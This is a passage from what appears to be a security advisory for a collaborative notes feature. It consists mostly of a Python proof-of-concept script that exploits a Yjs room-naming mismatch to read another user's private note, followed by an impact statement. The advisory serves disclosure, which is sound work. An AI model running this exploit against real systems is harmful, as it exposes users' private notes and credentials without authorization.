Details
parser.add_argument("--attacker-email", required=True)
parser.add_argument("--attacker-password", required=True)
parser.add_argument("--victim-email", required=True)
parser.add_argument("--victim-password", required=True)
args = parser.parse_args()
base = args.base_url.rstrip("/")
# ── Step 1: Login as victim and find their note ──
print("[*] Authenticating as victim...")
r = requests.post(f"{base}/api/v1/auths/signin",
json={"email": args.victim_email, "password": args.victim_password})
if not r.ok:
print(f"[-] Victim login failed: {r.status_code}")
sys.exit(1)
victim_token = r.json()["token"]
victim_id = r.json()["id"]
print(f"[+] Logged in as victim (id={victim_id})")
r = requests.get(f"{base}/api/v1/notes/", headers={"Authorization": f"Bearer {victim_token}"})
if not r.ok:
print(f"[-] Failed to list victim notes: {r.status_code}")
sys.exit(1)
notes = r.json()
if isinstance(notes, dict):
notes = notes.get("items", notes.get("data", []))
if not notes:
print("[-] No victim notes found")
sys.exit(1)
victim_note = notes[0]
victim_note_id = victim_note["id"]
print(f"[+] Victim's note: {victim_note.get('title', '?')} (id={victim_note_id})")
# ── Step 2: Login as attacker ──
print(f"\n[*] Authenticating as attacker...")
r = requests.post(f"{base}/api/v1/auths/signin",
json={"email": args.attacker_email, "password": args.attacker_password})
if not r.ok:
print(f"[-] Attacker login failed: {r.status_code}")
sys.exit(1)
attacker_token = r.json()["token"]
attacker_id = r.json()["id"]
print(f"[+] Logged in as attacker (id={attacker_id})")
# ── Step 3: Confirm attacker CANNOT read victim's note via API ──
print(f"\n[*] Step 1: Confirming attacker cannot read victim's note via API...")
r = requests.get(f"{base}/api/v1/notes/{victim_note_id}",
headers={"Authorization": f"Bearer {attacker_token}"})
if r.status_code in (401, 403, 404):
print(f"[+] Access correctly DENIED via /api/v1/notes/{victim_note_id} (HTTP {r.status_code})")
else:
print(f"[!] Unexpected: attacker can read note (status {r.status_code})")
# ── Step 4 & 5: Victim opens note, attacker reads it concurrently ──
async def combined_exploit():
# Victim opens note and stays connected
print(f"\n[*] Step 2: Victim opens note (stays connected)...")
victim_sio = socketio.AsyncClient()
await victim_sio.connect(
base,
socketio_path="/ws/socket.io",
auth={"token": victim_token},
transports=["websocket"],
)
doc_id = f"note:{victim_note_id}"
await victim_sio.emit("ydoc:document:join", {
"document_id": doc_id,
"user_id": "victim",
"user_name": "Victim",
})
await asyncio.sleep(1)
# Send Yjs update with note content
try:
import pycrdt as Y
ydoc = Y.Doc()
ytext = ydoc.get("default", type=Y.Text)
with ydoc.transaction():
ytext += "# Private Notes\n\nPassword for production DB: p@ssw0rd_pr0d_2026\nAWS root account: [email protected] / SuperSecret!23\n\nDo NOT share this with anyone."
update = ydoc.get_update()
await victim_sio.emit("ydoc:document:update", {
"document_id": doc_id,
"update": list(update),
})
print(f" Sent Yjs update ({len(update)} bytes)")
except Exception as e:
print(f" WARNING: Could not create Yjs update: {e}")
await asyncio.sleep(1)
# Now attacker joins while victim is still connected
result = await exploit(base, attacker_token, victim_note_id)
# Clean up victim connection
await victim_sio.disconnect()
return result
result = asyncio.run(combined_exploit())
if not result["joined"]:
print(f"\n[-] Failed to join document room")
sys.exit(1)
if result["state"]:
state_data = result["state"]
state_bytes = bytes(state_data.get("state", []))
# Try to extract readable text from the Yjs state
# Yjs binary format contains the text as embedded strings
text_content = ""
try:
# Search for readable ASCII strings in the binary data
current_str = ""
for b in state_bytes:
if 32 <= b < 127:
current_str += chr(b)
else:
if len(current_str) > 5:
text_content += current_str + " "
current_str = ""
if len(current_str) > 5:
text_content += current_str
except Exception:
pass
print(f"\n[+] Extracted text from Yjs state:")
print(f" {text_content[:500]}")
# Check for sensitive markers
sensitive_markers = ["p@ssw0rd", "SuperSecret", "Private Notes", "production DB", "AWS root"]
found = [m for m in sensitive_markers if m.lower() in text_content.lower()]
if found:
print(f"\n[+] SUCCESS: Victim's note content LEAKED via Yjs namespace collision!")
print(f" Sensitive markers found: {found}")
print(f" The attacker joined room 'doc_note_{victim_note_id}' (underscore)")
print(f" which bypasses the auth check (only checks 'note:' colon prefix)")
print(f" but accesses the same Yjs document due to normalization.")
sys.exit(0)
elif text_content.strip():
print(f"\n[+] SUCCESS: Note content retrieved (markers may differ)")
print(f" Non-empty Yjs state was returned for victim's note.")
sys.exit(0)
else:
print(f"\n[*] Yjs state was returned but could not extract readable text.")
print(f" Raw state size: {len(state_bytes)} bytes")
if len(state_bytes) > 10:
print(f" First 50 bytes: {list(state_bytes[:50])}")
print(f"[+] SUCCESS: Non-trivial document state returned")
sys.exit(0)
sys.exit(1)
else:
print(f"\n[-] No document state received")
print(f" The Yjs document may not exist in storage yet.")
print(f" Notes must be opened in the UI to create a Yjs document.")
sys.exit(1)
if __name__ == "__main__":
main()
### Impact
Any authenticated user can read the full contents of any other user's private notes. Notes are a collaborative editing feature intended for personal or shared use -- private notes may contain sensitive information such as credentials, internal documentation, or personal data. The attacker only needs to know or enumerate the target note's ID.